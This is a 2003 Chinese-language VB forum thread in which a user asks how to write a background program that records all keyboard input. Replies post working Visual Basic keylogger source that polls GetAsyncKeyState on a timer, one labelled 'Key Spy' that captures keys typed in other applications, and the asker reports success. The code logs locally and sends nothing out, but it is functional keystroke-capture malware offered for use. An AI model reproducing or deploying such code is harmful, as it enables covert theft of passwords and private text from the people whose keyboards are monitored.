用VB捕触键盘的所有操作

zrt12 2003-12-15 09:34:39
请问用VB编程一个程序,在后台运行,将键盘所有操作记录下来怎样写?
...全文
46 点赞 收藏 7
写回复
7 条回复
切换为时间正序
请发表友善的回复…
发表回复
zrt12 2003-12-18
Thank you!
回复
zrt12 2003-12-18
已OK,Thank you!
回复
Sean918 2003-12-15
恩。。。楼上这么多,偶就懒的看了

除了 Ctrl+Del+Alt 没法解决,其它的不管模拟还是记录都好办
回复
hhjjhjhj 2003-12-15
'In a module
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt As Long, sSave As String, sOld As String, Ret As String
Dim Tel As Long
Function GetPressedKey() As String
For Cnt = 32 To 128
'Get the keystate of a specified key
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
End If
End Sub


'In a form
Private Sub Form_Load()
Me.Caption = "Key Spy"
'Create an API-timer
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
End Sub
Private Sub Form_Paint()
Dim R As RECT
Const mStr = "Start this project, go to another application, type something, switch back to this application and unload the form. If you unload the form, a messagebox with all the typed keys will be shown."
'Clear the form
Me.Cls
'API uses pixels
Me.ScaleMode = vbPixels
'Set the rectangle's values
SetRect R, 0, 0, Me.ScaleWidth, Me.ScaleHeight
'Draw the text on the form
DrawTextEx Me.hDC, mStr, Len(mStr), R, DT_WORDBREAK Or DT_CENTER, ByVal 0&
End Sub
Private Sub Form_Resize()
Form_Paint
End Sub
Private Sub Form_Unload(Cancel As Integer)
'Kill our API-timer
KillTimer Me.hwnd, 0
'Show all the typed keys
MsgBox sSave
End Sub
回复
xzp1030 2003-12-15
学习
回复
ww28 2003-12-15
KeyResult = GetAsyncKeyState(102)
If KeyResult = -32767 Then
Text1 = Text1 + " 6 (小键盘) "
End If
KeyResult = GetAsyncKeyState(103)
If KeyResult = -32767 Then
Text1 = Text1 + " 7 (小键盘) "
End If
KeyResult = GetAsyncKeyState(104)
If KeyResult = -32767 Then
Text1 = Text1 + " 8 (小键盘) "
End If
KeyResult = GetAsyncKeyState(105)
If KeyResult = -32767 Then
Text1 = Text1 + " 9 (小键盘) "
End If
KeyResult = GetAsyncKeyState(37)
If KeyResult = -32767 Then
Text1 = Text1 + " Left Arrow "
End If
KeyResult = GetAsyncKeyState(39)
If KeyResult = -32767 Then
Text1 = Text1 + " Right Arrow "
End If
KeyResult = GetAsyncKeyState(38)
If KeyResult = -32767 Then
Text1 = Text1 + " Up Arrow "
End If
KeyResult = GetAsyncKeyState(40)
If KeyResult = -32767 Then
Text1 = Text1 + " Down Arrow "
End If
KeyResult = GetAsyncKeyState(145)
If KeyResult = -32767 Then
Text1 = Text1 + " Scroll Lock "
End If
KeyResult = GetAsyncKeyState(144)
If KeyResult = -32767 Then
Text1 = Text1 + " Num Lock "
End If
KeyResult = GetAsyncKeyState(36)
If KeyResult = -32767 Then
Text1 = Text1 + " Home "
End If
KeyResult = GetAsyncKeyState(35)
If KeyResult = -32767 Then
Text1 = Text1 + " End "
End If
KeyResult = GetAsyncKeyState(33)
If KeyResult = -32767 Then
Text1 = Text1 + " Page Up "
End If
KeyResult = GetAsyncKeyState(34)
If KeyResult = -32767 Then
Text1 = Text1 + " Page Down "
End If
KeyResult = GetAsyncKeyState(8)
If KeyResult = -32767 Then
Dim length As String
length = Len(Text1)
On Error Resume Next
Text1 = Left(Text1, length - 1)
End If
KeyResult = GetAsyncKeyState(45)
If KeyResult = -32767 Then
Text1 = Text1 + " Insert "
End If
KeyResult = GetAsyncKeyState(46)
If KeyResult = -32767 Then
Text1 = Text1 + " Delete "
End If
KeyResult = GetAsyncKeyState(&H12)
If KeyResult = -32767 Then
Text1 = Text1 + " Alt "
End If
KeyResult = GetAsyncKeyState(20)
If KeyResult = -32767 Then
Text1 = Text1 + " Caps Lock "
myBoolean = Not myBoolean

End If
KeyResult = GetAsyncKeyState(27)
If KeyResult = -32767 Then
Text1 = Text1 + " Escape " + vbCrLf
End If
KeyResult = GetAsyncKeyState(17)
If KeyResult = -32767 Then
Text1 = Text1 & " Control "
End If
KeyResult = GetAsyncKeyState(9)
If KeyResult = -32767 Then
Text1 = Text1 & " Tab "
End If
KeyResult = GetAsyncKeyState(16)
If KeyResult = -32767 Then
Text1 = Text1 + " Shift "
End If
KeyResult = GetAsyncKeyState(13)
If KeyResult = -32767 Then
Text1 = Text1 + " Enter " + vbCrLf
Exit Sub
End If
KeyResult = GetAsyncKeyState(190)
If KeyResult = -32767 Then
Text1 = Text1 + "."
End If
KeyResult = GetAsyncKeyState(188)
If KeyResult = -32767 Then
Text1 = Text1 + ","
Exit Sub
End If
KeyResult = GetAsyncKeyState(32)
If KeyResult = -32767 Then
Text1 = Text1 + "空格键"
Exit Sub
End If
KeyResult = GetAsyncKeyState(186)
If KeyResult = -32767 Then
Text1 = Text1 + ":"
Exit Sub
End If
KeyResult = GetAsyncKeyState(191)
If KeyResult = -32767 Then
Text1 = Text1 + "/"
Exit Sub
End If
KeyResult = GetAsyncKeyState(91)
If KeyResult = -32767 Then

Text1 = Text1 + "Win(Win左键)"
Exit Sub
End If

KeyResult = GetAsyncKeyState(92)
If KeyResult = -32767 Then
Text1 = Text1 + "Win(Win右键)"
Exit Sub
End If

KeyResult = GetAsyncKeyState(93)
If KeyResult = -32767 Then
Text1 = Text1 + "Menu(Win键)"
Exit Sub
End If
KeyLoop = 41
Do Until KeyLoop = 91
KeyResult = GetAsyncKeyState(KeyLoop)
Select Case myBoolean
Case False
If KeyResult = -32767 Then

GetKeyboardState myarr(0)
If (myarr(VK_SHIFT) And 10000000) Then

Text1.Text = Text1.Text + UCase(Chr(KeyLoop))
Else
Text1.Text = Text1.Text + LCase(Chr(KeyLoop))
End If
End If
Case Else
If KeyResult = -32767 Then

GetKeyboardState myarr(0)

If (myarr(VK_SHIFT) And 10000000) Then
Text1.Text = Text1.Text + LCase(Chr(KeyLoop))
Else
Text1.Text = Text1.Text + UCase(Chr(KeyLoop))
End If

End If
End Select
KeyLoop = KeyLoop + 1
Loop
Exit Sub
End Sub



以下模块
Option Explicit
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long
Const VK_CAPITAL = &H14
Const VK_SHIFT = &H10
Public myarr(0 To 255) As Byte

回复
ww28 2003-12-15
以下是窗体
Dim KeyResult As Integer
Dim s1 As String
Dim s2 As String
Private myBoolean As Boolean
Private KeyLoop As Byte
Function GetCapslock() As Boolean
GetCapslock = CBool(GetKeyState(vbKeyCapital) And 1)
End Function
Private Sub Form_Load()
If GetCapslock = True Then
myBoolean = True
Else
myBoolean = False
End If
Timer1.Interval = 1
Timer1.Enabled = True
End Sub



Private Sub Timer1_Timer()
KeyResult = GetAsyncKeyState(107) '+
If KeyResult = -32767 Then
Text1 = Text1 + "+(小键盘)"
End If
KeyResult = GetAsyncKeyState(109) '-
If KeyResult = -32767 Then
Text1 = Text1 + "-(小键盘)"
End If
KeyResult = GetAsyncKeyState(106) '*
If KeyResult = -32767 Then
Text1 = Text1 + "*(小键盘)"
End If
KeyResult = GetAsyncKeyState(111) '/
If KeyResult = -32767 Then
Text1 = Text1 + "/(小键盘)"
End If
KeyResult = GetAsyncKeyState(110) '小数点
If KeyResult = -32767 Then
Text1 = Text1 + ".(小键盘)"
End If
KeyResult = GetAsyncKeyState(&HC0)
If KeyResult = -32767 Then
Text1 = Text1 + "`"
End If
KeyResult = GetAsyncKeyState(&HBD)
If KeyResult = -32767 Then
Text1 = Text1 + "-"
End If
KeyResult = GetAsyncKeyState(&HBB)
If KeyResult = -32767 Then
Text1 = Text1 + "="
End If
KeyResult = GetAsyncKeyState(&HDC)
If KeyResult = -32767 Then
Text1 = Text1 + "\"
End If
KeyResult = GetAsyncKeyState(&HDB)
If KeyResult = -32767 Then
Text1 = Text1 + "["
End If
KeyResult = GetAsyncKeyState(&HDD)
If KeyResult = -32767 Then
Text1 = Text1 + "]"
End If
KeyResult = GetAsyncKeyState(108)
If KeyResult = -32767 Then
Text1 = " Enter (小键盘) " + Text1 & vbCrLf
End If
KeyResult = GetAsyncKeyState(&HDE)
If KeyResult = -32767 Then
Text1 = Text1 + "'"
End If
KeyResult = GetAsyncKeyState(112)
If KeyResult = -32767 Then
Text1 = Text1 + " F1 "
End If
KeyResult = GetAsyncKeyState(113)
If KeyResult = -32767 Then
Text1 = Text1 + " F2 "
End If
KeyResult = GetAsyncKeyState(114)
If KeyResult = -32767 Then
Text1 = Text1 + " F3 "
End If
KeyResult = GetAsyncKeyState(115)
If KeyResult = -32767 Then
Text1 = Text1 + " F4 "
End If
KeyResult = GetAsyncKeyState(116)
If KeyResult = -32767 Then
Text1 = Text1 + " F5 "
End If

KeyResult = GetAsyncKeyState(117)
If KeyResult = -32767 Then
Text1 = Text1 + " F6 "
End If
KeyResult = GetAsyncKeyState(118)
If KeyResult = -32767 Then
Text1 = Text1 + " F7 "
End If
KeyResult = GetAsyncKeyState(119)
If KeyResult = -32767 Then
Text1 = Text1 + " F8 "
End If
KeyResult = GetAsyncKeyState(120)
If KeyResult = -32767 Then
Text1 = Text1 + " F9 "
End If
KeyResult = GetAsyncKeyState(121)
If KeyResult = -32767 Then
Text1 = Text1 + " F10 "
End If
KeyResult = GetAsyncKeyState(122)
If KeyResult = -32767 Then
Text1 = Text1 + " F11 "
End If
KeyResult = GetAsyncKeyState(123)
If KeyResult = -32767 Then
Text1 = Text1 + " F12 "
End If
KeyResult = GetAsyncKeyState(19)
If KeyResult = -32767 Then
Text1 = Text1 + " Pause "
End If
KeyResult = GetAsyncKeyState(96)
If KeyResult = -32767 Then
Text1 = Text1 + " 0 (小键盘) "
End If
KeyResult = GetAsyncKeyState(97)
If KeyResult = -32767 Then
Text1 = Text1 + " 1 (小键盘) "
End If
KeyResult = GetAsyncKeyState(98)
If KeyResult = -32767 Then
Text1 = Text1 + " 2 (小键盘) "
End If
KeyResult = GetAsyncKeyState(99)
If KeyResult = -32767 Then
Text1 = Text1 + " 3 (小键盘) "
End If
KeyResult = GetAsyncKeyState(100)
If KeyResult = -32767 Then
Text1 = Text1 + " 4 (小键盘) "
End If
KeyResult = GetAsyncKeyState(101)
If KeyResult = -32767 Then
Text1 = Text1 + " 5 (小键盘) "
End If
回复
发动态
发帖子
VB基础类
创建于2007-09-28

7451

社区成员

VB 基础类
申请成为版主
社区公告
暂无公告